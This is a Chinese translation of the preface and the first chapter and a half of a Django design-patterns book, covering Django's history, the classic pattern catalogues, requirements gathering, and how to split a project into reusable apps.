Django-设计模式最佳实践-全-

Django 设计模式最佳实践(全)

原文:zh.annas-archive.org/md5/60442E9F3DEB860EA5C31D69FB8A3E2C

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Django 是当今最受欢迎的 Web 框架之一。它为大型网站提供动力,例如 Pinterest、Instagram、Disqus 和 NASA。只需几行代码,您就可以快速构建一个功能齐全且安全的网站,可以扩展到数百万用户。

本书试图分享解决 Django 开发人员面临的几个常见设计问题的解决方案。有时,有几种解决方案,但我们经常想知道是否有推荐的方法。经验丰富的开发人员经常使用某些习惯用法,同时故意避免其他一些习惯用法。

本书是这些模式和见解的集合。它分为几章,每章涵盖框架的一个关键领域,例如模型,或 Web 开发的一个方面,例如调试。重点是构建清洁、模块化和更易维护的代码。

我们已经尽力提供最新信息并使用最新版本。Django 1.7 充满了令人兴奋的新功能,例如内置模式迁移和应用程序重新加载。Python 3.4 是该语言的最前沿,具有几个新模块,例如 asyncio。这两者都在这里使用了。

超级英雄是本书中的一个不断出现的主题。大多数代码示例都是关于构建 SuperBook——一个超级英雄的社交网络。作为呈现 Web 开发项目挑战的一种新颖方式,每章都以故事框的形式编织了一个令人兴奋的虚构叙述。

本书涵盖的内容

第一章,“Django 和模式”,通过告诉我们为什么创建 Django 以及它如何随着时间的推移而发展,帮助我们更好地理解 Django。然后,介绍设计模式、其重要性和几种流行的模式集合。

第二章,“应用程序设计”,指导我们通过应用程序生命周期的早期阶段,例如收集要求和创建模型。我们还将看到如何通过我们的运行项目 SuperBook 将项目分解为模块化应用程序。

第三章,“模型”,让我们了解模型如何以图形方式表示,使用几种模式进行结构化,并使用迁移(内置于 Django 1.7)进行后续更改。

第四章,“视图和 URL”,向我们展示了如何将基于函数的视图演变为具有强大混合概念的基于类的视图,使我们熟悉有用的视图模式,并教会我们如何设计简短而有意义的 URL。

第五章,“模板”,通过 Django 模板语言构造,解释其设计选择,建议如何组织模板文件,介绍方便的模板模式,并指出几种集成和自定义 Bootstrap 的方法。

第六章,“管理界面”,向我们展示了如何更有效地使用 Django 出色的开箱即用的管理界面,以及多种自定义方式,从增强模型到改进其默认外观和感觉。

第七章,“表单”,说明了常常令人困惑的表单工作流程,以及渲染表单的不同方式,如何使用 crispy forms 改善表单的外观以及各种应用表单模式。

第八章,“处理遗留代码”,解决了遗留 Django 项目的常见问题,例如确定正确的版本、定位文件、从何处开始阅读大型代码库,以及如何通过添加新功能来增强遗留代码。

第九章,“测试和调试”,概述了各种测试和调试工具和技术,介绍了测试驱动开发、模拟、日志记录和调试器。

第十章,安全性,使您熟悉各种 Web 安全威胁及其对策,特别是 Django 如何保护您。最后,一个方便的安全性检查表提醒您常常被忽视的领域。

第十一章,准备投产,介绍了部署面向公众的应用程序的速成课程,从选择 Web 堆栈开始,了解托管选项,并走过典型的部署过程。我们在这个阶段深入了解监控和性能的细节。

附录,Python 2 与 Python 3,向 Python 2 开发人员介绍了 Python 3。首先展示了最相关的差异,然后在 Django 中工作时,我们转向 Python 3 中提供的新模块和工具。

本书需要什么

您只需要一台计算机(PC 或 Mac)和互联网连接即可开始。然后,请确保已安装以下内容:

  • Python 3.4(或 Python 2.7,在阅读附录之后,Python 2 与 Python 3)或更高版本

  • Django 1.7 或更高版本

  • 文本编辑器(或 Python IDE)

  • Web 浏览器(请使用最新版本)

我建议使用基于 Linux 的系统,如 Ubuntu 或 Arch Linux。如果您使用 Windows,可以使用 Vagrant 或 VirtualBox 在 Linux 虚拟机上工作。这里有一个充分的披露:我更喜欢命令行界面、Emacs 和荷包蛋。

某些章节可能需要安装特定的 Python 库或 Django 包。它们将被提及,比如说factory_boy包。在大多数情况下,它们可以使用pip进行安装,如下所示:

$ pip install factory_boy

因此,强烈建议您首先创建一个单独的虚拟环境,如第二章中所述,应用程序设计

这本书是为谁准备的

本书旨在帮助开发人员洞察使用 Django 构建高度可维护的网站。它将帮助您更深入地了解框架,但也会使您熟悉几个 Web 开发概念。

它对于初学者和有经验的 Django 开发人员都很有用。它假设您熟悉 Python,并已完成了 Django 的基本教程(尝试官方的投票教程或来自arunrocks.com的视频教程)。

您不必是 Django 或 Python 的专家。阅读本书不需要对模式有先验知识。更具体地说,本书不是关于经典的四人帮模式,尽管它们可能会被提及。

这里的许多实用信息可能不仅仅适用于 Django,而是适用于 Web 开发。在本书结束时,您应该是一个更高效和务实的 Web 开发人员。

惯例

在本书中,您会发现许多文本样式,用于区分不同类型的信息。以下是一些这些样式的示例,以及它们的含义解释。

文本中的代码词、文件夹名称、文件名、包名称和用户输入显示如下:“HttpResponse对象被呈现为字符串。”

代码块设置如下:

from django.db import models

class SuperHero(models.Model):
    name = models.CharField(max_length=100)

任何命令行(通常是 Unix)的输入或输出都写成如下形式:

$ django-admin.py --version
1.6.1

以美元提示符($符号)开头的行是要在 shell 中输入的(但跳过提示本身)。其余行是系统输出,如果输出非常长,可能会使用省略号(…)进行修剪。

每个章节(除了第一章)都将有一个故事框,样式如下:

注意

超级书籍章节标题

那是一个漆黑而风雨交加的夜晚;披着斗篷的超级英雄的剪影在烧焦的里克森数字图书馆的废墟中移动。捡起一块看起来像是半融化的硬盘盒;显而易见队长咬紧牙关喊道:“我们需要备份!”

故事框最好按顺序阅读,以遵循线性叙事。

本书中描述的模式以《本书中的模式》一节中提到的格式编写,位于第一章 Django 和模式 中。

提示和最佳实践的风格如下:

提示

最佳实践

每 5 年更换你的超级服装。

新术语重要单词以粗体显示。

第一章:Django 和模式

在本章中,我们将讨论以下主题:

  • 为什么选择 Django?

  • Django 的故事

  • Django 的工作原理

  • 什么是模式?

  • 知名的模式集合

  • Django 中的模式

根据盖博伟的“世界初创企业报告”,2013 年全球有超过 136,000 家互联网公司,仅美国就有超过 60,000 家。其中,87 家美国公司的估值超过 10 亿美元。另一项研究表明,在 27 个国家的 12,000 名 18 至 30 岁的人中,超过三分之二看到了成为企业家的机会。

这种数字初创企业的繁荣主要归功于初创企业的工具和技术变得廉价和普遍。现在,创建一个完整的网络应用所需的时间比以前少得多,这要归功于强大的框架。

即使是第一次编程的人也可以轻松学习创建网络应用,因为它的学习曲线很平缓。然而,很快他们会一遍又一遍地解决其他人一直在面对的相同问题。这就是理解模式可以真正帮助节省时间的地方。

为什么选择 Django?

每个网络应用都是不同的,就像手工制作的家具一样。你很少会找到一个完全符合你需求的大规模生产的产品。即使你从一个基本需求开始,比如一个博客或一个社交网络,你的需求会慢慢增长,你很容易最终得到很多临时解决方案粗制滥造地贴在一个曾经简单的模板解决方案上。

这就是为什么像 Django 或 Rails 这样的网络框架变得极其受欢迎。框架可以加快开发速度,并且内置了所有最佳实践。然而,它们也足够灵活,可以让你获得足够的工具来完成工作。如今,网络框架是无处不在的,大多数编程语言都至少有一个类似 Django 的端到端框架。

Python 可能比大多数编程语言都有更多的网络框架。快速浏览 Python 包索引(PyPi)会发现有惊人的 13021 个与框架相关的包。对于 Django 来说,总共有 5467 个包。

Python 维基列出了超过 54 个活跃的网络框架,其中最受欢迎的是 Django、Flask、Pyramid 和 Zope。Python 的框架也具有广泛的多样性。紧凑的Bottle微型网络框架只有一个 Python 文件,没有依赖性,但却能够出人意料地创建一个简单的网络应用。

尽管有这么多的选择,Django 已经成为了绝大多数人的首选。Djangosites.org列出了超过 4700 个使用 Django 编写的网站,包括著名的成功案例,如 Instagram、Pinterest 和 Disqus。

正如官方描述所说,Django(djangoproject.com)是一个高级的 Python 网络框架,鼓励快速开发和清晰的实用设计。换句话说,它是一个完整的网络框架,就像 Python 一样,内置了所有必要的功能。

开箱即用的管理界面是 Django 的独特功能之一,对于早期数据输入和测试非常有帮助。Django 的文档因为非常适合开源项目而受到赞扬。

最后,Django 在几个高流量网站上经过了实战测试。它在安全方面有着异常的关注,可以防范常见攻击,如跨站脚本(XSS)和跨站请求伪造(CSRF)。

尽管理论上你可以使用 Django 构建任何类型的网络应用,但它可能并不适合每种情况。例如,要构建基于实时聊天的网络界面,你可能会想使用 Tornado,而你的网络应用的其余部分仍然可以使用 Django 完成。选择合适的工具来完成工作。

一些内置功能,比如管理界面,如果你习惯于其他网络框架,可能会听起来有些奇怪。为了理解 Django 的设计,让我们找出它是如何诞生的。

Django 的故事

当你看着埃及金字塔时,你可能会认为这样简单而简约的设计一定是相当明显的。事实上,它们是 4000 年建筑演变的产物。阶梯金字塔,最初(而且笨重)的设计,有六个尺寸递减的矩形块。经过几次建筑和工程改进,直到现代、玻璃化和持久的石灰石结构被发明出来。

看着 Django,你可能会有类似的感觉。如此优雅地构建,一定是毫无瑕疵地构想出来的。相反,它是在一个想象得到的最高压力环境中的重写和快速迭代的结果 - 一个新闻编辑室!

2003 年秋天,两名程序员 Adrian Holovaty 和 Simon Willison 在劳伦斯报纸 Journal-World 工作,致力于在堪萨斯州创建几个当地新闻网站。这些网站,包括LJWorld.comLawrence.comKUsports.com - 像大多数新闻网站一样,不仅是充满文本、照片和视频的内容驱动门户,而且还不断试图满足劳伦斯社区的需求,例如当地商业目录、活动日历、分类广告等。

一个框架诞生了

当然,这意味着对 Simon、Adrian 和后来加入他们团队的 Jacob Kaplan Moss 来说,有很多工作;有很短的截止日期,有时只有几个小时的通知。由于当时 Python 的网络开发还处于早期阶段,他们不得不大部分从头开始编写网络应用程序。因此,为了节省宝贵的时间,他们逐渐将常见的模块和工具重构为名为“The CMS”的东西。

最终,内容管理部分被分拆成一个名为 Ellington CMS 的独立项目,后来成为一个成功的商业 CMS 产品。剩下的“CMS”是一个干净的基础框架,通用到足以用来构建任何类型的网络应用程序。

2005 年 7 月,这个网页开发框架以 Django(发音为 Jang-Oh)的形式发布,采用了开源的伯克利软件分发BSD)许可证。它以传奇爵士吉他手 Django Reinhardt 的名字命名。剩下的,就像他们说的那样,就成了历史。

去除魔法

由于它作为内部工具的起源谦逊,Django 有很多劳伦斯 Journal-World 特有的怪癖。为了使 Django 真正通用,一个名为“去除劳伦斯”的努力已经在进行中。

然而,Django 开发人员必须进行的最重要的重构工作被称为“去除魔法”。这个雄心勃勃的项目涉及清理 Django 多年来积累的所有瑕疵,包括很多魔法(隐含功能的非正式术语),并用更自然和明确的 Python 代码替换它们。例如,模型类曾经是从一个名为django.models.*的魔法模块导入的,而不是直接从它们定义的models.py模块导入。

当时,Django 有大约十万行代码,这是 API 的重大重写。2006 年 5 月 1 日,这些变化,几乎相当于一本小书的大小,被整合到 Django 的开发版本主干中,并作为 Django 0.95 版本发布。这是迈向 Django 1.0 里程碑的重要一步。

Django 不断变得更好

每年,全球各地都会举行名为DjangoCons的会议,供 Django 开发人员相互交流。他们有一个可爱的传统,即在“为什么 Django 糟糕”上发表半幽默的主题演讲。这可能是 Django 社区的成员,或者是在竞争的网络框架上工作的人,或者只是任何知名人士。

多年来,令人惊讶的是 Django 开发人员如何积极地接受这些批评,并在随后的版本中加以缓解。以下是对应于 Django 曾经的缺点的改进的简要总结以及它们所解决的版本:

  • 新的表单处理库(Django 0.96)

  • 将管理界面与模型解耦(Django 1.0)

  • 多数据库支持(Django 1.2)

  • 更好地管理静态文件(Django 1.3)

  • 更好的时区支持(Django 1.4)

  • 可定制的用户模型(Django 1.5)

  • 更好的事务处理(Django 1.6)

  • 内置数据库迁移(Django 1.7)

随着时间的推移,Django 已成为公共领域中最符合 Python 习惯的代码库之一。Django 源代码也是学习 Python web 框架架构的好地方。

Django 是如何工作的?

要真正欣赏 Django,您需要窥探一下内部,看看其中的各种组成部分。这既可以启发,也可能令人不知所措。如果您已经熟悉这一点,您可能想跳过本节。

Django 是如何工作的?

典型 Django 应用程序中的 Web 请求是如何处理的

上述图显示了来自访问者浏览器的 Web 请求到达您的 Django 应用程序并返回的简化旅程。编号路径如下:

  1. 浏览器将请求(基本上是一串字节)发送到您的 Web 服务器。

  2. 您的 Web 服务器(比如 Nginx)将请求交给 WSGI 服务器(比如 uWSGI),或者直接从文件系统中提供文件(比如 CSS 文件)。

  3. 与 web 服务器不同,WSGI 服务器可以运行 Python 应用程序。请求填充了一个名为environ的 Python 字典,并且可以通过多层中间件,最终到达您的 Django 应用程序。

  4. 应用程序的urls.py中包含的 URLconf 根据请求的 URL 选择一个视图来处理请求。请求已经转换为HttpRequest——一个 Python 对象。

  5. 所选视图通常会执行以下一项或多项操作:

5a. 通过模型与数据库进行交谈

5b. 使用模板呈现 HTML 或任何其他格式化响应

5c. 返回纯文本响应(未显示)

5d. 引发异常

  1. HttpResponse对象在离开 Django 应用程序时被渲染为一个字符串。

  2. 用户浏览器中看到了一个精美的网页。

尽管省略了某些细节,但这种表示应该有助于您欣赏 Django 的高级架构。它还展示了关键组件(如模型、视图和模板)所扮演的角色。Django 的许多组件都基于几种众所周知的设计模式。

什么是模式?

“蓝图”、“脚手架”和“维护”之间有什么共同之处?这些软件开发术语都是从建筑施工和建筑领域借来的。然而,最有影响力的术语之一来自于 1977 年奥地利著名建筑师克里斯托弗·亚历山大及其团队(包括 Murray Silverstein、Sara Ishikawa 等人)撰写的一部关于建筑和城市规划的专著。

“模式”这个术语在他们的开创性作品《模式语言:城镇、建筑、建筑》(五卷系列中的第二卷)之后开始流行,该作品基于一个惊人的洞察力,即用户对他们的建筑了解比任何建筑师都要多。模式指的是日常问题及其提议但经过时间考验的解决方案。

在书中,克里斯托弗·亚历山大(Christopher Alexander)指出:“每个模式描述了一个在我们的环境中反复出现的问题,然后以这样一种方式描述了这个问题的核心解决方案,以至于您可以一百万次使用这个解决方案,而不必重复两次。”

例如,光之翼模式描述了人们更喜欢有更多自然光线的建筑,并建议安排建筑物以由翼组成。这些翼应该是长而窄的,绝不超过 25 英尺宽。下次你在一所古老大学的长长明亮的走廊上散步时,要感谢这种模式。

他们的书包含了 253 种这样的实用模式,从房间设计到整个城市的设计。最重要的是,这些模式中的每一个都给了一个抽象问题一个名称,并共同形成了一个“模式语言”。

还记得当你第一次遇到“ déjà vu”这个词吗?你可能会想“哇,我从来不知道有一个词来描述那种经历。”同样,建筑师不仅能够在他们的环境中识别模式,而且最终还能以一种同行能够理解的方式来命名它们。

在软件世界中,术语“设计模式”指的是软件设计中常见问题的一般可重复解决方案。它是开发人员可以使用的最佳实践的正式化。就像在建筑世界一样,模式语言已被证明对于向其他程序员传达解决设计问题的某种方式非常有帮助。

有几种设计模式的集合,但有些比其他的影响力更大。

四人帮模式

早期研究和记录设计模式的努力之一是一本名为《设计模式:可复用面向对象软件的元素》的书,作者是 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides,后来被称为四人帮(GoF)。这本书影响深远,以至于许多人认为书中的 23 种设计模式对软件工程本身是基本的。

实际上,这些模式主要是针对面向对象编程语言编写的,并且它在 C++和 Smalltalk 中有代码示例。正如我们将很快看到的,许多这些模式在其他具有更好高阶抽象的编程语言中甚至可能不需要。

这 23 种模式已经被广泛分类为以下类型:

  • 创建模式:这些包括抽象工厂、生成器模式、工厂方法、原型模式和单例模式

  • 结构模式:这些包括适配器模式、桥接模式、组合模式、装饰器模式、外观模式、享元模式和代理模式

  • 行为模式:这些包括责任链模式、命令模式、解释器模式、迭代器模式、中介者模式、备忘录模式、观察者模式、状态模式、策略模式、模板模式和访问者模式

虽然详细解释每种模式超出了本书的范围,但在 Django 本身中识别一些这些模式是很有趣的:

GoF 模式 Django 组件 解释
命令模式 HttpRequest 这将请求封装在一个对象中
观察者模式 信号 当一个对象改变状态时,所有监听器都会被通知并自动更新
模板方法 基于类的通用视图 可以通过子类化重新定义算法的步骤而不改变算法的结构

虽然这些模式大多是对研究 Django 内部感兴趣的人来说,Django 本身可以归类的模式是一个常见的问题。

Django 是 MVC 吗?

模型-视图-控制器(MVC)是 70 年代由施乐 PARC 发明的一种架构模式。作为构建 Smalltalk 用户界面的框架,它在《Gang of Four》一书中早早地被提及。

今天,MVC 是 Web 应用程序框架中非常流行的模式。初学者经常问这样的问题:Django 是一个 MVC 框架吗?

答案既是肯定的,也是否定的。MVC 模式倡导将表示层与应用程序逻辑解耦。例如,在设计在线游戏网站 API 时,您可能会将游戏的高分榜呈现为 HTML、XML 或逗号分隔(CSV)文件。但是,其底层模型类将独立设计,不受数据最终呈现方式的影响。

MVC 对模型、视图和控制器的功能非常严格。然而,Django 对 Web 应用程序采取了更加实用的观点。由于 HTTP 协议的性质,对 Web 页面的每个请求都是独立的。Django 的框架被设计成一个处理每个请求并准备响应的管道。

Django 将其称为模型-模板-视图MTV)架构。数据库接口类(模型)、请求处理类(视图)和最终呈现的模板语言(模板)之间存在关注点的分离。

如果将此与经典的 MVC 进行比较——“模型”可与 Django 的模型相媲美,“视图”通常是 Django 的模板,“控制器”是处理传入的 HTTP 请求并将其路由到正确视图函数的框架本身。

如果这还没有让您困惑,Django 更倾向于将处理每个 URL 的回调函数命名为“视图”函数。不幸的是,这与 MVC 模式中“视图”的概念无关。

Fowler 的模式

2002 年,Martin Fowler 写了《企业应用架构模式》,描述了他在构建企业应用程序时经常遇到的 40 多种模式。

与 GoF 书不同,Fowler 的书是关于架构模式的。因此,它们以更高的抽象级别描述模式,并且在很大程度上与编程语言无关。

Fowler 的模式组织如下:

  • 领域逻辑模式:包括领域模型、事务脚本、服务层和表模块

  • 数据源架构模式:包括行数据网关、表数据网关、数据映射器和活动记录

  • 对象关系行为模式:包括身份映射、工作单元和延迟加载

  • 对象关系结构模式:包括外键映射、映射、依赖映射、关联表映射、标识字段、序列化 LOB、嵌入值、继承映射器、单表继承、具体表继承和类表继承

  • 对象关系元数据映射模式:包括查询对象、元数据映射和存储库

  • Web 演示模式:包括页面控制器、前端控制器、模型视图控制器、转换视图、模板视图、应用程序控制器和两步视图

  • 分发模式:包括数据传输对象和远程外观

  • 离线并发模式:包括粗粒度锁、隐式锁、乐观离线锁和悲观离线锁

  • 会话状态模式:包括数据库会话状态、客户端会话状态和服务器会话状态

  • 基本模式:包括映射器、网关、层超类型、注册表、值对象、分离接口、货币、插件、特殊情况、服务存根和记录集

几乎所有这些模式在设计 Django 应用程序时都会很有用。事实上,Fowler 的网站martinfowler.com/eaaCatalog/上有这些模式的优秀目录。我强烈建议您查看一下。

Django 还实现了许多这些模式。以下表格列出了其中的一些:

Fowler 模式 Django 组件 解释
活动记录 Django 模型 封装数据库访问,并在该数据上添加领域逻辑
类表继承 模型继承 层次结构中的每个实体都映射到一个单独的表中
身份字段 ID 字段 在对象中保存数据库 ID 字段以维护身份
模板视图 Django 模板 通过在 HTML 中嵌入标记呈现为 HTML

还有更多的模式吗?

是的,当然。模式一直在不断被发现。就像生物一样,有些会变异并形成新的模式:例如,MVC 的变体,如模型-视图-呈现者MVP)、分层模型-视图-控制器HMVC)或模型视图视图模型MVVM)。

模式也随着时间的推移而发展,因为对已知问题的更好解决方案被识别出来。例如,单例模式曾经被认为是一种设计模式,但现在被认为是一种反模式,因为它引入了共享状态,类似于使用全局变量。反模式可以被定义为常常被重新发明的,但是一个糟糕的解决方案。

一些其他众所周知的模式目录书籍包括 Buschmann、Meunier、Rohnert、Sommerlad 和 Sta 的面向模式的软件架构(称为POSA);Hohpe 和 Woolf 的企业集成模式;以及 Duyne、Landay 和 Hong 的网站设计:为打造以客户为中心的网页体验而编织的模式、原则和流程

本书中的模式

本书将涵盖 Django 特定的设计和架构模式,这对 Django 开发人员很有用。接下来的章节将描述每个模式将如何呈现。

模式名称

标题是模式名称。如果是一个众所周知的模式,就使用常用的名称;否则,选择一个简洁的、自我描述的名称。名称很重要,因为它有助于建立模式词汇。所有模式都将包括以下部分:

问题:这简要提到了问题。

解决方案:这总结了提出的解决方案。

问题详情:这详细阐述了问题的背景,并可能给出一个例子。

解决方案详情:这以一般术语解释了解决方案,并提供了一个 Django 实现的示例。

对模式的批评

尽管它们几乎被普遍使用,但模式也有它们的批评。最常见的反对意见如下:

  • 模式弥补了缺失的语言特性:Peter Norvig 发现《设计模式》中的 23 个模式中有 16 个在 Lisp 中是“不可见或更简单的”。考虑到 Python 的内省能力和一级函数,这对 Python 来说也可能是这样。

  • 模式重复最佳实践:许多模式本质上是对最佳实践的形式化,比如关注点分离,可能看起来是多余的。

  • 模式可能导致过度工程化:实现模式可能比更简单的解决方案效率低且过度。

如何使用模式

虽然之前的一些批评是相当合理的,但它们是基于模式被误用的情况。以下是一些建议,可以帮助你了解如何最好地使用设计模式:

  • 如果你的语言支持直接解决方案,就不要实现模式

  • 不要试图用模式的术语来适配一切

  • 只有在你的上下文中它是最优雅的解决方案时才使用模式

  • 不要害怕创建新的模式

最佳实践

除了设计模式,可能还有一种推荐的解决问题的方法。在 Django 中,与 Python 一样,可能有几种解决问题的方法,但其中一种是惯用的方法。

Python 之禅和 Django 的设计哲学

一般来说,Python 社区使用术语“Pythonic”来描述一段惯用的代码。它通常指的是《Python 之禅》中阐述的原则。这本书像一首诗一样写成,对于描述这样一个模糊的概念非常有用。

提示

尝试在 Python 提示符中输入import this来查看《Python 之禅》。

此外,Django 开发人员在设计框架时已经清晰地记录了他们的设计理念,网址为docs.djangoproject.com/en/dev/misc/design-philosophies/

虽然该文档描述了 Django 设计背后的思维过程,但对于使用 Django 构建应用程序的开发人员也是有用的。某些原则,如“不要重复自己”(DRY)、“松耦合”和“紧凑性”可以帮助您编写更易维护和成熟的 Django 应用程序。

本书建议的 Django 或 Python 最佳实践将以以下方式格式化:

提示

最佳实践:

在 settings.py 中使用 BASE_DIR,并避免硬编码目录名称。

摘要

在本章中,我们探讨了人们为什么选择 Django 而不是其他 Web 框架,它有趣的历史以及它的工作原理。我们还研究了设计模式、流行的模式集合和最佳实践。

在下一章中,我们将看一下 Django 项目开始阶段的前几个步骤,比如收集需求、创建模型和设置项目。

第二章:应用程序设计

在本章中,我们将涵盖以下主题:

  • 收集需求

  • 创建概念文件

  • HTML 模拟

  • 如何将项目分成应用程序

  • 是写一个新应用程序还是重用现有的应用程序

  • 项目开始前的最佳实践

  • 为什么选择 Python 3?

  • 开始 SuperBook 项目

许多新手开发人员在开始新项目时会立即开始编写代码。往往会导致错误的假设、未使用的功能和浪费时间。即使在时间紧迫的项目中,花一些时间与客户一起了解核心需求,都能产生令人难以置信的结果。管理需求是值得学习的关键技能。

如何收集需求

创新不是说 YES,而是说 NO,除了最关键的功能之外。
--史蒂夫·乔布斯

通过花几天时间与客户仔细倾听他们的需求并设定正确的期望,我挽救了几个注定失败的项目。只带着一支铅笔和纸(或它们的数字化等价物),这个过程非常简单但有效。在收集需求时要记住以下一些关键点:

  1. 直接与应用程序所有者交谈,即使他们不懂技术。

  2. 确保你充分倾听他们的需求并记录下来。

  3. 不要使用“模型”等技术术语。保持简单,使用终端用户友好的术语,如“用户资料”。

  4. 设定正确的期望。如果某事在技术上不可行或困难,确保立即告诉他们。

  5. 尽可能多地进行素描。人类天生是视觉动物。网站更是如此。使用粗线和简笔画。不需要完美。

  6. 分解流程,如用户注册。任何多步功能都需要用箭头连接的框来绘制。

  7. 最后,以用户故事的形式或任何易于理解的形式逐个处理功能列表。

  8. 在将功能优先级划分为高、中、低桶时要积极参与。

  9. 在接受新功能时要非常保守。

  10. 会后,与所有人分享你的笔记,以避免误解。

第一次会议会很长(可能是一整天的研讨会或几个小时的会议)。后来,当这些会议变得频繁时,你可以将它们缩短到 30 分钟或一个小时。

所有这一切的产出将是一个一页的写作和几张粗糙的素描。

在这本书中,我们自愿承担了一个崇高的项目,为超级英雄建立一个名为 SuperBook 的社交网络。根据我们与一群随机选择的超级英雄讨论的简单草图如下所示:

如何收集需求

SuperBook 网站的响应式设计草图。显示了桌面(左)和智能手机(右)布局。

你是一个讲故事的人吗?

那么这个一页的写作是什么?这是一个简单的文件,解释了使用该网站的感受。在我参与的几乎所有项目中,当有新成员加入团队时,他们通常不会浏览每一份文件。如果他们找到一个简短的单页文件,快速告诉他们网站的意图,他们会感到高兴。

你可以随意称呼这个文件——概念文件、市场需求文件、客户体验文档,甚至是史诗脆弱故事日志™(专利申请中)。这真的无关紧要。

文件应该侧重于用户体验,而不是技术或实施细节。要简短有趣。事实上,Joel Spolsky 在记录需求方面的第一条规则是“要幽默”。

如果可能的话,写一篇关于典型用户(在营销术语中称为“角色”)的文章,他们面临的问题以及 Web 应用程序如何解决它。想象他们如何向朋友解释这种体验。试着捕捉这一点。

这是 SuperBook 项目的概念文件:

SuperBook 概念

以下采访是在我们的网站 SuperBook 在未来推出后进行的。在采访之前进行了 30 分钟的用户测试。

请介绍一下自己。

我的名字是阿克塞尔。我是一只灰松鼠,住在纽约市中心。不过,每个人都叫我橡子。我爸爸,著名的嘻哈明星 T.贝瑞,过去常常叫我那个。我想我从来没有唱歌好到可以接手家族生意。

事实上,在我早期,我有点偷窃癖。你知道,我对坚果过敏。其他兄弟们很容易就能在公园里生活。我不得不 improvisation——咖啡馆、电影院、游乐园等等。我也非常仔细地阅读标签。

好的,橡子。你为什么认为你被选中进行用户测试?

可能是因为我曾在纽约星报上被介绍为一个不太知名的超级英雄。我猜人们觉得一个松鼠能用 MacBook 很有趣(采访者:这次采访是通过聊天进行的)。另外,我有一个松鼠一样的注意力。

根据你看到的,你对 SuperBook 有什么看法?

我认为这是一个很棒的主意。我的意思是,人们经常看到超级英雄。然而,没有人关心他们。大多数都是孤独和反社会的。SuperBook 可以改变这一点。

你认为 Superbook 有什么不同?

它是为像我们这样的人从零开始构建的。我的意思是,当你想要使用你的秘密身份时,没有“工作和教育”的废话。虽然我没有,但我能理解为什么有人会有一个。

你能简要告诉我们你注意到的一些特点吗?

当然,我认为这是一个相当不错的社交网络,你可以:

  • 用任何用户名注册(不再需要“输入你的真实姓名”了,愚蠢的要求)

  • 粉丝可以关注别人,而不必把他们添加为“朋友”

  • 发布帖子,对其进行评论,并重新分享

  • 给另一个用户发送私人帖子

一切都很容易。弄清楚它并不需要超人的努力。

谢谢你的时间,橡子。

HTML 模型

在构建 Web 应用程序的早期,工具如 Photoshop 和 Flash 被广泛使用来获得像素完美的模型。它们几乎不再被推荐或使用。

在智能手机、平板电脑、笔记本电脑和其他平台上提供本地和一致的体验现在被认为比获得像素完美的外观更重要。事实上,大多数网页设计师直接在 HTML 上创建布局。

创建 HTML 模型比以前快得多,也更容易。如果你的网页设计师不可用,开发人员可以使用 CSS 框架,如 Bootstrap 或 ZURB Foundation 框架来创建相当不错的模型。

创建模型的目标是创建网站的真实预览。它不应该只关注细节和修饰,使其看起来比草图更接近最终产品,而且还应该增加交互性。用一些简单的 JavaScript 驱动的交互性,让你的静态 HTML 变得生动起来。

一个好的模型可以用不到总体开发工作量的 20%来提供 80%的客户体验。

设计应用程序

当你对需要构建的东西有一个相当好的想法时,你可以开始考虑在 Django 中的实现。再一次,开始编码是很诱人的。然而,当你花几分钟思考设计时,你会发现解决设计问题的许多不同方法。

你也可以首先开始设计测试,这是测试驱动设计(TDD)方法论所倡导的。我们将在测试章节中看到更多 TDD 方法的应用。

无论你采取哪种方法,最好停下来思考一下——“我可以用哪些不同的方式来实现这个?有什么权衡?在我们的情境中哪些因素更重要?最后,哪种方法是最好的?”

有经验的 Django 开发人员以不同的方式看待整个项目。遵循 DRY 原则(有时是因为他们变懒了),他们会想——“我以前见过这个功能吗?例如,可以使用django-all-auth这样的第三方包来实现社交登录功能吗?”

如果他们必须自己编写应用程序,他们会开始考虑各种设计模式,希望能够设计出优雅的设计。然而,他们首先需要将项目在顶层分解为应用程序。

将项目分成应用

Django 应用程序称为项目。一个项目由多个应用程序或应用组成。应用是提供一组功能的 Python 包。

理想情况下,每个应用都必须是可重用的。您可以创建尽可能多的应用。永远不要害怕添加更多的应用或将现有的应用重构为多个应用。一个典型的 Django 项目包含 15-20 个应用。

在这个阶段做出的一个重要决定是是否使用第三方 Django 应用程序还是从头开始构建一个。第三方应用程序是现成的应用程序,不是由您构建的。大多数包都可以快速安装和设置。您可以在几分钟内开始使用它们。

另一方面,编写自己的应用通常意味着自己设计和实现模型、视图、测试用例等。Django 不会区分这两种类型的应用。

重用还是自己编写?

Django 最大的优势之一是庞大的第三方应用生态系统。在撰写本文时,djangopackages.com列出了 2600 多个包。您可能会发现您的公司或个人库甚至更多。一旦您的项目被分成应用程序,并且您知道需要哪种类型的应用程序,您将需要为每个应用程序做出决定——是编写还是重用现有的应用程序。

安装和使用现成的应用可能听起来更容易。然而,事实并不像听起来那么简单。让我们来看看我们项目中一些第三方身份验证应用,并列出我们在撰写本文时为 SuperBook 未使用它们的原因:

  • 为我们的需求过度设计: 我们觉得支持任何社交登录的python-social-auth是不必要的

  • 太具体: 使用django-facebook将意味着将我们的身份验证与特定网站提供的身份验证绑定在一起

  • Python 依赖: django-allauth的要求之一是python-openid,这个包目前没有得到积极维护或批准。

  • 非 Python 依赖: 一些包可能具有非 Python 依赖项,例如 Redis 或 Node.js,这会增加部署的开销

  • 不可重用: 我们自己的许多应用程序之所以没有被使用,是因为它们不太容易重用,或者没有被编写成可重用的

这些包都不是坏的。它们只是暂时不符合我们的需求。它们可能对不同的项目有用。在我们的情况下,内置的 Django auth应用程序已经足够好了。

另一方面,您可能会因以下一些原因而更喜欢使用第三方应用程序:

  • 太难做到正确: 您的模型实例需要形成一个树吗?使用django-mptt进行数据库高效实现

  • 最佳或推荐的应用程序: 这会随时间而改变,但像django-redis这样的包是最推荐的用例

  • 缺少功能: 许多人认为django-model-utilsdjango-extensions等包应该是框架的一部分

  • 最小依赖: 这在我的书中总是很好的。

那么,您是应该重用应用程序并节省时间,还是编写一个新的自定义应用程序?我建议您在沙盒中尝试第三方应用程序。如果您是一名中级 Django 开发人员,那么下一节将告诉您如何在沙盒中尝试包。

我的应用沙盒

不时地,您会看到一些博客文章列出了“必备的 Django 包”。然而,决定一个包是否适合您的项目的最佳方法是原型设计。

